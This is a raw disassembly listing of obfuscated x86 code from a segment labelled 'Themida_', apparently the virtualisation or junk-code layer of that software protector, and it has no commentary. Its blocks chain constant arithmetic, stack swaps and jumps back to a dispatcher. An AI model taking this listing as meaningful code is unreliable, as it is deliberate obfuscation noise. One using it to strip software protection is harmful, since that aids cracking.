jmp loc_54EE34
; ---------------------------------------------------------------------------
loc_5537DC: ; CODE XREF: Themida_:0055278Aj
xor edi, 62F72BABh
mov ebp, edi
pop edi
shl ebp, 6
add ebp, 573D0C7Dh
xor ebp, 0B0432E77h
jmp loc_559187
; ---------------------------------------------------------------------------
loc_5537F9: ; CODE XREF: Themida_:00552337j
mov [esp], eax
push esp
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_559B48
; ---------------------------------------------------------------------------
loc_553812: ; CODE XREF: Themida_:00557B40j
push ecx
jmp loc_556A1C
; ---------------------------------------------------------------------------
loc_553818: ; CODE XREF: Themida_:0055268Dj
push ebx
mov ebx, 40000h
push ebx
sub dword ptr [esp], 1D1D5DC5h
jmp loc_55795F
; ---------------------------------------------------------------------------
loc_55382B: ; CODE XREF: Themida_:00551A4Dj
push ebp
push 67D9771Ah
pop ebp
xor ebp, 21602613h
xor ebp, 46B9510Dh
mov esi, ebp
pop ebp
add edx, esi
pop esi
xchg edx, [esp]
jmp loc_555A13
; ---------------------------------------------------------------------------
loc_55384C: ; CODE XREF: Themida_:005521B7j
mov ah, ch
mov ecx, [esp]
add esp, 4
xor ch, ah
pop eax
sub ch, 86h
sub ch, 2Ch
jmp loc_55A363
; ---------------------------------------------------------------------------
loc_553865: ; CODE XREF: Themida_:0055355Fj
shr ebp, 5
jmp loc_55A04D
; ---------------------------------------------------------------------------
loc_55386D: ; CODE XREF: Themida_:005552F6j
mov ecx, 5F6328E9h
xor ecx, 6F722636h
jmp loc_55326E
; ---------------------------------------------------------------------------
loc_55387D: ; CODE XREF: Themida_:00550009j
sub ch, 80h
and ch, 0B2h
add ch, 0CDh
add ch, 0BFh
jmp loc_559E28
; ---------------------------------------------------------------------------
loc_55388E: ; CODE XREF: Themida_:00551B66j
xor ebx, 6D61211Eh
neg ebx
add ebx, 56046D50h
jmp loc_55B0C9
; ---------------------------------------------------------------------------
loc_5538A1: ; CODE XREF: Themida_:00558EB6j
mov [esp], ebx
sub esp, 4
mov [esp], ecx
push ebp
push 7CDFh
mov [esp], edx
mov edx, 7A535EDFh
mov ebp, 58D81560h
jmp loc_558DB7
; ---------------------------------------------------------------------------
loc_5538C5: ; CODE XREF: Themida_:0055A24Fj
pop esp
sub edx, 5A3030F7h
push ebx
mov ebx, 159E597Bh
shr ebx, 1
or ebx, 7D48165Eh
xor ebx, 49133FD8h
sub edx, ebx
pop ebx
and eax, edx
pop edx
jmp loc_551C2F
; ---------------------------------------------------------------------------
loc_5538EB: ; CODE XREF: Themida_:0055209Ej
mov edi, 681E42D6h
or edi, 0A5F3FE0h
xor edi, 32B85E9Ch
add ebp, edi
pop edi
sub ebp, eax
sub ebp, 58E7216Ah
pop eax
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov [esp], edx
push eax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55391C: ; CODE XREF: Themida_:00558634j
add esi, ecx
pop ecx
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_553936: ; CODE XREF: Themida_:0054F3D3j
mov ebx, eax
jmp loc_551ECA
; ---------------------------------------------------------------------------
loc_55393D: ; CODE XREF: Themida_:00551261j
pop esi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_557673
; ---------------------------------------------------------------------------
loc_553949: ; CODE XREF: Themida_:005532C8j
mov esi, 68F927B2h
sub esi, 0BE4427Ah
xor esi, 2CBF2FE3h
xor esi, 344EAF8Bh
sub ecx, esi
pop esi
jmp loc_552C6C
; ---------------------------------------------------------------------------
loc_553968: ; CODE XREF: Themida_:00555B1Ej
push ecx
mov cl, 0B4h
sub cl, 5Ch
jmp loc_553B6B
; ---------------------------------------------------------------------------
loc_553973: ; CODE XREF: Themida_:00559DA9j
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_552833
; ---------------------------------------------------------------------------
loc_553984: ; CODE XREF: Themida_:0054EEDCj
push 4
pop edi
push eax
jmp loc_55487E
; ---------------------------------------------------------------------------
loc_553990: ; CODE XREF: Themida_:0055A72Fj
pop ebp
add ebp, 4
add ebp, 4
jmp loc_5507BC
; ---------------------------------------------------------------------------
loc_5539A2: ; CODE XREF: Themida_:005526CDj
xor edx, 24C84C36h
jmp loc_557460
; ---------------------------------------------------------------------------
loc_5539AD: ; CODE XREF: Themida_:00554A7Bj
xchg eax, [esp]
pop esp
jmp loc_5577A3
; ---------------------------------------------------------------------------
loc_5539B6: ; CODE XREF: Themida_:00550104j
and ebp, eax
pop eax
dec ebp
sub ebp, 51882FFEh
add edi, ebp
jmp loc_559B8B
; ---------------------------------------------------------------------------
loc_5539C7: ; CODE XREF: Themida_:00559019j
add ebx, 4
sub esp, 4
mov [esp], edi
push eax
mov eax, 6ED08C8h
push eax
pop edi
pop eax
or edi, 4E8E274Fh
inc edi
push esi
mov esi, 32AA1D18h
jmp loc_552EBA
; ---------------------------------------------------------------------------
loc_5539EE: ; CODE XREF: Themida_:00558A7Bj
sub ecx, 4FDB6294h
shl ecx, 7
shr ecx, 5
shr ecx, 3
add ecx, 518C7AFh
and edi, ecx
pop ecx
sub edi, 0C1230F25h
jmp loc_5505E2
; ---------------------------------------------------------------------------
loc_553A11: ; CODE XREF: Themida_:00553D76j
pop eax
xor dh, bl
pop ebx
sub al, dh
mov edx, [esp]
jmp loc_557EAA
; ---------------------------------------------------------------------------
loc_553A1F: ; CODE XREF: Themida_:0054ED7Bj
xor edx, 57F0AAC5h
add esi, edx
pop edx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
idiv cl
movzx cx, ah
push edi
push esp
pop edi
jmp loc_554D82
; ---------------------------------------------------------------------------
loc_553A40: ; CODE XREF: Themida_:00553315j
mov [esp], eax
mov eax, 38694030h
jmp loc_5522C5
; ---------------------------------------------------------------------------
loc_553A4D: ; CODE XREF: Themida_:0055085Ej
xor ebx, [esp]
jmp loc_554654
; ---------------------------------------------------------------------------
loc_553A55: ; CODE XREF: Themida_:00552753j
mov [esp], edx
jmp loc_55B1E7
; ---------------------------------------------------------------------------
loc_553A5D: ; CODE XREF: Themida_:00559618j
shl eax, 1
neg eax
add eax, 1FBE2D84h
add ebx, eax
jmp loc_556A81
; ---------------------------------------------------------------------------
loc_553A6D: ; CODE XREF: Themida_:005561BCj
mov [esp], esp
add dword ptr [esp], 4
pop edi
jmp loc_55426E
; ---------------------------------------------------------------------------
loc_553A7A: ; CODE XREF: Themida_:0055A9E7j
sub edx, edi
pop edi
mov ecx, [edx]
pop edx
push 3866h
mov [esp], ebx
push esp
jmp loc_55B106
; ---------------------------------------------------------------------------
loc_553A8E: ; CODE XREF: Themida_:0054F1A3j
mov esi, 5A684125h
sub esi, 5A684121h
add ecx, esi
jmp loc_559F1C
; ---------------------------------------------------------------------------
loc_553AA0: ; CODE XREF: Themida_:00558503j
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
push 13E9h
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push 4D34h
mov [esp], edi
mov edi, 55DC0104h
inc edi
or edi, 26DB1A61h
jmp loc_5554B1
; ---------------------------------------------------------------------------
loc_553ADD: ; CODE XREF: Themida_:005570E3j
add ebx, 0DF03C22Dh
mov esi, ebx
pop ebx
push ebp
mov ebp, 1DF24C0Eh
and ebp, 1D8C467Dh
jmp loc_554CD4
; ---------------------------------------------------------------------------
loc_553AF7: ; CODE XREF: Themida_:00557248j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_553AFC: ; CODE XREF: Themida_:0055679Aj
mov eax, 782E1DE1h
sub [esp+4], eax
pop eax
jmp loc_559856
; ---------------------------------------------------------------------------
loc_553B0B: ; CODE XREF: Themida_:0055036Fj
add esp, 4
push esi
mov esi, esp
add esi, 4
jmp loc_55401C
; ---------------------------------------------------------------------------
loc_553B1F: ; CODE XREF: Themida_:00558E62j
add ebx, ebp
add ebx, 465218C6h
pop ebp
add ebx, eax
sub ebx, 75DE2242h
pop eax
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_55AACD
; ---------------------------------------------------------------------------
loc_553B47: ; CODE XREF: Themida_:00556AA4j
sub ebx, esi
jmp loc_55546A
; ---------------------------------------------------------------------------
loc_553B4E: ; CODE XREF: Themida_:00556723j
xor ecx, [esp]
pop esp
or [esp], eax
pushf
jmp loc_5517FB
; ---------------------------------------------------------------------------
loc_553B5B: ; CODE XREF: Themida_:00559490j
sub eax, 1
xor eax, 740C507Dh
push ecx
jmp loc_557B2D
; ---------------------------------------------------------------------------
loc_553B6B: ; CODE XREF: Themida_:0055396Ej
mov bl, cl
jmp loc_54FB3B
; ---------------------------------------------------------------------------
loc_553B72: ; CODE XREF: Themida_:00556781j
mov ecx, 85251FCh
add ebx, ecx
jmp loc_553667
; ---------------------------------------------------------------------------
loc_553B7E: ; CODE XREF: Themida_:00553D81j
or edi, ebp
pop ebp
add edi, 1
shl edi, 6
add edi, 284B3B60h
sub edi, 0B12CD203h
jmp loc_54ECA3
; ---------------------------------------------------------------------------
loc_553B9B: ; CODE XREF: Themida_:00557F21j
sub eax, 58BB44EFh
jmp loc_550FD3
; ---------------------------------------------------------------------------
loc_553BA5: ; CODE XREF: Themida_:00555D90j
sub edx, 65943665h
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_553BB0: ; CODE XREF: Themida_:005599BBj
add edx, 4
push edi
push ebx
mov ebx, 4
jmp loc_554772
; ---------------------------------------------------------------------------
loc_553BC2: ; CODE XREF: Themida_:005508D6j
pop ecx
push dword ptr [esp]
pop ebp
push edi
mov edi, esp
add edi, 4
jmp loc_5542E3
; ---------------------------------------------------------------------------
loc_553BD5: ; CODE XREF: Themida_:00554362j
add eax, ecx
pop ecx
push edi
jmp loc_54FB05
; ---------------------------------------------------------------------------
loc_553BDE: ; CODE XREF: Themida_:005580DDj
push esi
sub dword ptr [esp], 403966CAh
mov edx, [esp]
add esp, 4
add edx, 403966CAh
jmp loc_55A0D2
; ---------------------------------------------------------------------------
loc_553BFA: ; CODE XREF: Themida_:00559F34j
sub edi, 2AC6235h
sub edi, 5876237Dh
add edi, ebp
add edi, 5876237Dh
add edi, 2AC6235h
pop ebp
jmp loc_554DFE
; ---------------------------------------------------------------------------
loc_553C1A: ; CODE XREF: Themida_:00556A7Cj
xor ah, [esp]
xor [esp], ah
xor ah, ch
xor ch, ah
jmp loc_551F22
; ---------------------------------------------------------------------------
loc_553C29: ; CODE XREF: Themida_:00554997j
mov edx, 1AE36D1Bh
xor edx, 11B60EC4h
sub edx, 0DB2B373Ah
sub ecx, edx
pop edx
add ebx, ecx
mov ecx, [esp]
jmp loc_5553F2
; ---------------------------------------------------------------------------
loc_553C47: ; CODE XREF: Themida_:0055357Cj
push eax
mov ah, cl
mov dh, ah
pop eax
pop ecx
sub al, dh
pop edx
jmp loc_550D96
; ---------------------------------------------------------------------------
loc_553C56: ; CODE XREF: Themida_:00559BA5j
add edi, esi
pop esi
add edi, 2
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
movzx cx, al
push 78CFh
jmp loc_559014
; ---------------------------------------------------------------------------
loc_553C79: ; CODE XREF: Themida_:005509CCj
xchg edi, [esp]
pop esp
and [esp], ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_553C87: ; CODE XREF: Themida_:00553062j
add ebx, 4
jmp loc_552A26
; ---------------------------------------------------------------------------
loc_553C8F: ; CODE XREF: Themida_:00553F47j
mov ebx, 0
add ebx, ecx
xor [ebx], edi
pop ebx
pop ecx
mov edi, [esp]
add esp, 4
loc_553CA3: ; CODE XREF: Themida_:0055286Dj
push 467Ah
mov [esp], ebx
push 6021h
mov [esp], eax
mov eax, 8797351h
xor eax, 4D4A2520h
push eax
jmp loc_558679
; ---------------------------------------------------------------------------
loc_553CC3: ; CODE XREF: Themida_:0054F03Cj
push 73FBh
mov [esp], edi
mov edi, 4CB92909h
inc edi
jmp loc_5567B9
; ---------------------------------------------------------------------------
loc_553CD6: ; CODE XREF: Themida_:00556F41j
not ebx
jmp loc_54F9EF
; ---------------------------------------------------------------------------
loc_553CDD: ; CODE XREF: Themida_:0055A190j
add al, dh
pop edx
add al, 70h
mov bl, al
mov eax, [esp]
jmp loc_557A11
; ---------------------------------------------------------------------------
loc_553CEC: ; CODE XREF: Themida_:00557827j
mov [esp], ebp
mov ebp, 2EB97C35h
dec ebp
sub ebp, 77203EEDh
sub edx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_5592F8
; ---------------------------------------------------------------------------
loc_553D09: ; CODE XREF: Themida_:00551684j
sub esp, 4
mov [esp], ebp
jmp loc_55A4D0
; ---------------------------------------------------------------------------
loc_553D14: ; CODE XREF: Themida_:005582B1j
mov ebp, 0F7B11D29h
add esi, ebp
pop ebp
xor eax, esi
jmp loc_554A41
; ---------------------------------------------------------------------------
loc_553D23: ; CODE XREF: Themida_:00554AF1j
xor dh, 0B9h
push eax
jmp loc_54F629
; ---------------------------------------------------------------------------
loc_553D2C: ; CODE XREF: Themida_:0055349Aj
pop esi
jmp loc_54F7A2
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
jmp loc_54F201
; ---------------------------------------------------------------------------
loc_553D3B: ; CODE XREF: Themida_:0055844Fj
add ebp, 4
add ebp, 4
jmp loc_5500C4
; ---------------------------------------------------------------------------
loc_553D49: ; CODE XREF: Themida_:0055464Fj
mov esi, 61BB04A3h
xor esi, 56BE16C8h
mov ebp, esi
pop esi
jmp loc_551707
; ---------------------------------------------------------------------------
loc_553D5C: ; CODE XREF: Themida_:00558DA0j
neg edi
inc edi
sub edi, 84180800h
jmp loc_559941
; ---------------------------------------------------------------------------
loc_553D6A: ; CODE XREF: Themida_:0055343Ej
push 1DDAh
jmp loc_55440F
; ---------------------------------------------------------------------------
loc_553D74: ; CODE XREF: Themida_:00559CEDj
sub bl, ah
jmp loc_553A11
; ---------------------------------------------------------------------------
loc_553D7B: ; CODE XREF: Themida_:00556087j
add ebp, 480C6246h
jmp loc_553B7E
; ---------------------------------------------------------------------------
loc_553D86: ; CODE XREF: Themida_:00551D13j
pop eax
push ebp
jmp loc_5593A2
; ---------------------------------------------------------------------------
loc_553D8D: ; CODE XREF: Themida_:00551D36j
mov [esp], esp
add dword ptr [esp], 4
pop ebp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
jmp loc_5556DF
; ---------------------------------------------------------------------------
loc_553DAE: ; CODE XREF: Themida_:005512FFj
mov bl, 4Bh
sub bl, 4Eh
sub bl, 0E2h
push 0
sub [esp], bl
jmp loc_556F46
; ---------------------------------------------------------------------------
loc_553DC3: ; CODE XREF: Themida_:0055846Aj
xor eax, 8DC46E3Bh
jmp loc_556A8B
; ---------------------------------------------------------------------------
lodsd
add eax, 2F47684Dh
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_558D21
; ---------------------------------------------------------------------------
loc_553DE4: ; CODE XREF: Themida_:00551B45j
xor [esp], ebx
jmp loc_55A84C
; ---------------------------------------------------------------------------
loc_553DEC: ; CODE XREF: Themida_:0055760Ej
sub eax, 4CD5E88h
dec eax
add eax, 2D75F3DBh
sub edx, eax
pop eax
add eax, edx
mov edx, [esp]
add esp, 4
sub eax, ebx
sub eax, 356347E1h
add eax, 5CF93239h
jmp loc_55A5B8
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_553E1B: ; CODE XREF: Themida_:0054F5D6j
pop esp
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_553E21: ; CODE XREF: Themida_:00552562j
push edx
mov edx, 258B30E1h
xor ebp, edx
jmp loc_558991
; ---------------------------------------------------------------------------
loc_553E2E: ; CODE XREF: Themida_:005505A6j
sub bh, al
add bh, 0BFh
pop ax
add al, 0Fh
jmp loc_554BF2
; ---------------------------------------------------------------------------
loc_553E3C: ; CODE XREF: Themida_:00559E5Dj
push esi
mov esi, 564C3717h
shr esi, 8
xor esi, 3C03741Dh
jmp loc_554D42
; ---------------------------------------------------------------------------
loc_553E50: ; CODE XREF: Themida_:0055698Ej
sub edi, esi
jmp loc_552EE2
; ---------------------------------------------------------------------------
loc_553E57: ; CODE XREF: Themida_:0055537Cj
add ecx, edx
pop edx
shr ecx, 2
inc ecx
push edx
mov edx, 0E5C52B8Ch
jmp loc_55538F
; ---------------------------------------------------------------------------
loc_553E69: ; CODE XREF: Themida_:0054EB0Bj
sub al, 0E9h
add al, 66h
pop ecx
sub al, bl
add al, 0FAh
jmp loc_5509AD
; ---------------------------------------------------------------------------
loc_553E77: ; CODE XREF: Themida_:00554E50j
mov ecx, 302A2CA9h
jmp loc_554996
; ---------------------------------------------------------------------------
loc_553E81: ; CODE XREF: Themida_:00559BBBj
push ebx
jmp loc_55A6E1
; ---------------------------------------------------------------------------
loc_553E87: ; CODE XREF: Themida_:0055B08Ej
pop ebx
push edx
mov edx, 2862A55h
neg edx
add edx, 684D5EBBh
sub eax, edx
mov edx, [esp]
add esp, 4
jmp loc_555DFF
; ---------------------------------------------------------------------------
loc_553EA3: ; CODE XREF: Themida_:0055A19Dj
pop esi
jmp loc_55AF20
; ---------------------------------------------------------------------------
loc_553EA9: ; CODE XREF: Themida_:005564DEj
mov ax, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
push ebp
sub esp, 4
mov [esp], edi
push edx
push ecx
mov ecx, 6C965734h
jmp loc_54FA96
; ---------------------------------------------------------------------------
loc_553EC8: ; CODE XREF: Themida_:0055A395j
push edi
mov edi, 0F1A8F972h
mov ecx, edi
pop edi
add ecx, eax
pop eax
add edx, ecx
pop ecx
push 73E2h
mov [esp], eax
push ebp
mov ebp, 2
mov eax, ebp
mov ebp, [esp]
jmp loc_5596EF
; ---------------------------------------------------------------------------
loc_553EEF: ; CODE XREF: Themida_:005556D2j
add esi, 4
xchg esi, [esp]
jmp loc_54EC64
; ---------------------------------------------------------------------------
loc_553EFD: ; CODE XREF: Themida_:00551696j
push edx
mov dl, 90h
push eax
mov ah, 0E1h
jmp loc_5511CD
; ---------------------------------------------------------------------------
loc_553F08: ; CODE XREF: Themida_:0054F608j
mov [esp], ecx
mov ecx, 4
add [esp+4], ecx
jmp loc_559891
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_553F28: ; CODE XREF: Themida_:0055B219j
add ebx, 11C11833h
pop small word ptr [eax]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_553F36: ; CODE XREF: Themida_:00559308j
mov [esp], ebx
jmp loc_558857
; ---------------------------------------------------------------------------
loc_553F3E: ; CODE XREF: Themida_:0054EED3j
add ecx, ebx
mov ebx, [esp]
add esp, 4
push ebx
jmp loc_553C8F
; ---------------------------------------------------------------------------
loc_553F4C: ; CODE XREF: Themida_:00552EE5j
push esi
mov esi, 175567BFh
add edi, esi
pop esi
pop ebp
xchg edi, [esp]
jmp loc_551243
; ---------------------------------------------------------------------------
loc_553F5E: ; CODE XREF: Themida_:00558A31j
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
push edx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
mov ebp, 7CD73C51h
xor [esp+4], ebp
pop ebp
jmp loc_552BB0
; ---------------------------------------------------------------------------
loc_553F94: ; CODE XREF: Themida_:00550794j
mov esi, [esp]
add esp, 4
jmp loc_558F73
; ---------------------------------------------------------------------------
loc_553F9F: ; CODE XREF: Themida_:005566FFj
add esp, 4
jmp loc_550BF0
; ---------------------------------------------------------------------------
loc_553FA7: ; CODE XREF: Themida_:00554002j
and [edi+1Ch], ebx
mov ebx, [esp]
push esi
mov esi, esp
push ebx
jmp loc_554C58
; ---------------------------------------------------------------------------
loc_553FB6: ; CODE XREF: Themida_:005550CCj
add eax, edx
pop edx
and eax, 7D3121F0h
inc eax
add eax, 1
sub eax, 1
shr eax, 7
sub eax, 0B401E447h
jmp loc_54F0E1
; ---------------------------------------------------------------------------
loc_553FD4: ; CODE XREF: Themida_:0055786Fj
sub ebx, 4C6213ECh
pop edi
add ebx, eax
jmp loc_551D9F
; ---------------------------------------------------------------------------
loc_553FE2: ; CODE XREF: Themida_:005556DAj
add esp, 4
xchg esi, [esp]
pop esp
mov [esp], ecx
mov ecx, 3BA943ADh
sub [esp+4], ecx
jmp loc_551436
; ---------------------------------------------------------------------------
loc_553FFA: ; CODE XREF: Themida_:005553E0j
push edx
mov ebx, [esp]
add esp, 4
pop edx
jmp loc_553FA7
; ---------------------------------------------------------------------------
loc_554007: ; CODE XREF: Themida_:0054F5C5j
push 0C5F24F2h
mov ecx, [esp]
add esp, 4
mov edx, ecx
jmp loc_555002
; ---------------------------------------------------------------------------
loc_55401C: ; CODE XREF: Themida_:00553B1Aj
sub esi, 4
xor esi, [esp]
xor [esp], esi
jmp loc_55064B
; ---------------------------------------------------------------------------
loc_55402D: ; CODE XREF: Themida_:005566A6j
shl ebx, 2
or ebx, 34872999h
shl ebx, 1
inc ebx
sub ebx, 0D5700AC2h
jmp loc_550594
; ---------------------------------------------------------------------------
loc_554044: ; CODE XREF: Themida_:0055303Dj
sub esi, 5EA62D7h
or esi, 408B287Fh
shr esi, 5
sub esi, 0AD9DFF59h
add edx, esi
pop esi
add edx, ebx
sub edx, 5A58600Eh
pop ebx
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
test cl, al
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55407C: ; CODE XREF: Themida_:0055442Dj
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
push edx
mov edx, esp
sub esp, 4
mov [esp], ebx
push 460F3B74h
pop ebx
push esi
mov esi, 22E11A06h
xchg edx, esi
not edx
xchg edx, esi
or esi, 4DFA0ADEh
add esi, 68104B71h
sub ebx, esi
pop esi
sub edx, 25426DC8h
add edx, ebx
jmp loc_5503B5
; ---------------------------------------------------------------------------
loc_5540C3: ; CODE XREF: Themida_:00550279j
add edx, ebp
pop ebp
xor edx, 0B5B34BF4h
add eax, 32662425h
sub eax, edx
sub eax, 32662425h
pop edx
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
mov [esp], ecx
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5540F3: ; CODE XREF: Themida_:0055A860j
add cl, 0EDh
add dl, cl
jmp loc_55B0ED
; ---------------------------------------------------------------------------
loc_5540FD: ; CODE XREF: Themida_:00552AFEj
push esp
pop ebx
add ebx, 4
push edx
push 2
pop edx
jmp loc_5598D1
; ---------------------------------------------------------------------------
loc_554111: ; CODE XREF: Themida_:00554CF1j
push eax
mov eax, 50CD2AE4h
sub esi, eax
pop eax
sub esi, edx
add esi, 50CD2AE4h
pop edx
add eax, esi
pop esi
add eax, esi
sub eax, 29107210h
push dword ptr [esp]
pop esi
add esp, 4
xor ebx, eax
push 119Eh
mov [esp], ebp
push 7EDCh
mov [esp], eax
pop ebp
jmp loc_5584D8
; ---------------------------------------------------------------------------
loc_55414F: ; CODE XREF: Themida_:00551568j
mov ebp, 4FB32E5Ch
or ebp, 5F69361Fh
push ebp
neg dword ptr [esp]
pop ebp
xor ebp, 0A004C1A5h
add ebx, ebp
pop ebp
add ebx, 4
push ebx
jmp loc_55A3D9
; ---------------------------------------------------------------------------
loc_554171: ; CODE XREF: Themida_:0054F532j
not dword ptr [esp]
pop esi
jmp loc_54FD20
; ---------------------------------------------------------------------------
loc_55417A: ; CODE XREF: Themida_:0055370Dj
add esi, 526E7B40h
sub edi, 4B741ADBh
jmp loc_5532D6
; ---------------------------------------------------------------------------
loc_55418B: ; CODE XREF: Themida_:00555F67j
pop edi
sub esp, 4
mov [esp], ebp
push esi
mov esi, esp
jmp loc_554D34
; ---------------------------------------------------------------------------
loc_55419D: ; CODE XREF: Themida_:00558190j
mov bl, al
pop eax
pop ecx
xor al, bl
mov bx, [esp]
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_559695
; ---------------------------------------------------------------------------
loc_5541B8: ; CODE XREF: Themida_:00557CADj
sub ebx, ecx
push esi
mov esi, 53D85589h
jmp loc_555B4F
; ---------------------------------------------------------------------------
loc_5541C5: ; CODE XREF: Themida_:0055105Ej
push ecx
push 4B9B5219h
pop ecx
dec ecx
jmp loc_552F2F
; ---------------------------------------------------------------------------
loc_5541D2: ; CODE XREF: Themida_:0054F4AFj
push dword ptr [esp]
pop eax
jmp loc_554C14
; ---------------------------------------------------------------------------
loc_5541DB: ; CODE XREF: Themida_:00555438j
pop eax
push 3999h
mov [esp], ecx
mov ecx, 0BDEFDBFDh
add ebx, 766B16F0h
sub ebx, 23E46BCEh
add ebx, ecx
add ebx, 23E46BCEh
sub ebx, 766B16F0h
mov ecx, [esp]
add esp, 4
and eax, ebx
mov ebx, [esp]
push edx
mov edx, esp
jmp loc_55296F
; ---------------------------------------------------------------------------
loc_554216: ; CODE XREF: Themida_:0055045Aj
add bl, ch
sub bl, 71h
pop ecx
push ecx
push ebx
mov bl, 9Fh
push ax
jmp loc_5573D4
; ---------------------------------------------------------------------------
loc_554227: ; CODE XREF: Themida_:00552956j
mov esi, 3EA07B0Ah
push ebx
mov ebx, 12751E7h
add eax, ebx
pop ebx
jmp loc_552BDE
; ---------------------------------------------------------------------------
loc_55423A: ; CODE XREF: Themida_:00550587j
push ebx
jmp loc_556F38
; ---------------------------------------------------------------------------
loc_554240: ; CODE XREF: Themida_:0055977Aj
add eax, ebx
sub eax, 795328DCh
push ebp
mov ebp, esp
push ecx
jmp loc_54FEB0
; ---------------------------------------------------------------------------
loc_554250: ; CODE XREF: Themida_:005589B6j
mov esi, 78E33F0Fh
sub dword ptr [esp+8], 45DA0FEFh
sub [esp+8], esi
add dword ptr [esp+8], 45DA0FEFh
jmp loc_550AEC
; ---------------------------------------------------------------------------
loc_55426E: ; CODE XREF: Themida_:00553A75j
push ecx
mov ecx, 4
add edi, ecx
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
push ebp
push esi
mov esi, 692644E9h
jmp loc_55617D
; ---------------------------------------------------------------------------
loc_55428E: ; CODE XREF: Themida_:00556456j
mov edx, 4
add edi, edx
mov edx, [esp]
add esp, 4
jmp loc_552DAB
; ---------------------------------------------------------------------------
loc_5542A3: ; CODE XREF: Themida_:0054FC5Ej
push ebp
mov ebp, 4
add edi, ebp
mov ebp, [esp]
add esp, 4
jmp loc_54EB67
; ---------------------------------------------------------------------------
loc_5542B9: ; CODE XREF: Themida_:005561A3j
pop edx
push ecx
mov cl, 0CFh
sub bl, cl
jmp loc_554E9E
; ---------------------------------------------------------------------------
loc_5542C4: ; CODE XREF: Themida_:00557B70j
add edx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5554A3
; ---------------------------------------------------------------------------
loc_5542D4: ; CODE XREF: Themida_:0054F0DCj
mov [esp], ecx
jmp loc_550808
; ---------------------------------------------------------------------------
loc_5542DC: ; CODE XREF: Themida_:00550B06j
add eax, ebp
jmp loc_557CE2
; ---------------------------------------------------------------------------
loc_5542E3: ; CODE XREF: Themida_:00553BD0j
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5542F2: ; CODE XREF: Themida_:0055AAE7j
add ebp, 0D4EACE21h
sub ecx, 4BB52115h
sub ecx, ebp
add ecx, 4BB52115h
pop ebp
mov [ecx], al
mov ecx, [esp]
add esp, 4
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_554314: ; CODE XREF: Themida_:00552A01j
pop edx
add edx, 4
sub esp, 4
jmp loc_54EE88
; ---------------------------------------------------------------------------
loc_554326: ; CODE XREF: Themida_:00558085j
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
jmp loc_550A29
; ---------------------------------------------------------------------------
loc_554345: ; CODE XREF: Themida_:00554DB2j
mov eax, [esp]
add esp, 4
push edi
push dword ptr [esp+4]
pop edi
jmp loc_55740D
; ---------------------------------------------------------------------------
loc_554356: ; CODE XREF: Themida_:00557B32j
add ecx, 55C130C2h
xor ecx, 0E47D9219h
jmp loc_553BD5
; ---------------------------------------------------------------------------
loc_554367: ; CODE XREF: Themida_:00555B9Fj
pop esi
xchg edx, [esp]
mov esp, [esp]
add edx, 597E5860h
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_554379: ; CODE XREF: Themida_:00550A8Ej
add ebp, 21CE7E80h
inc ebp
or ebp, 5CD7CB7h
neg ebp
inc ebp
xor ebp, 3D3F1FE4h
sub ecx, ebp
pop ebp
xor edx, ecx
pop ecx
mov eax, edx
pop edx
jmp loc_555BA4
; ---------------------------------------------------------------------------
loc_55439D: ; CODE XREF: Themida_:00555226j
xor esi, [esp]
pop esp
mov ax, [esp]
push edi
mov edi, esp
add edi, 4
push 664Dh
mov [esp], edx
push 2D5Dh
mov [esp], edi
push ebp
push 6372499h
pop ebp
jmp loc_554612
; ---------------------------------------------------------------------------
loc_5543CA: ; CODE XREF: Themida_:0054F487j
add esp, 4
add ebx, 4
push eax
mov eax, 2
push ebp
mov ebp, 0C8C21D1h
shr ebp, 5
jmp loc_558E4F
; ---------------------------------------------------------------------------
loc_5543E7: ; CODE XREF: Themida_:00556A99j
add edx, eax
jmp loc_55A516
; ---------------------------------------------------------------------------
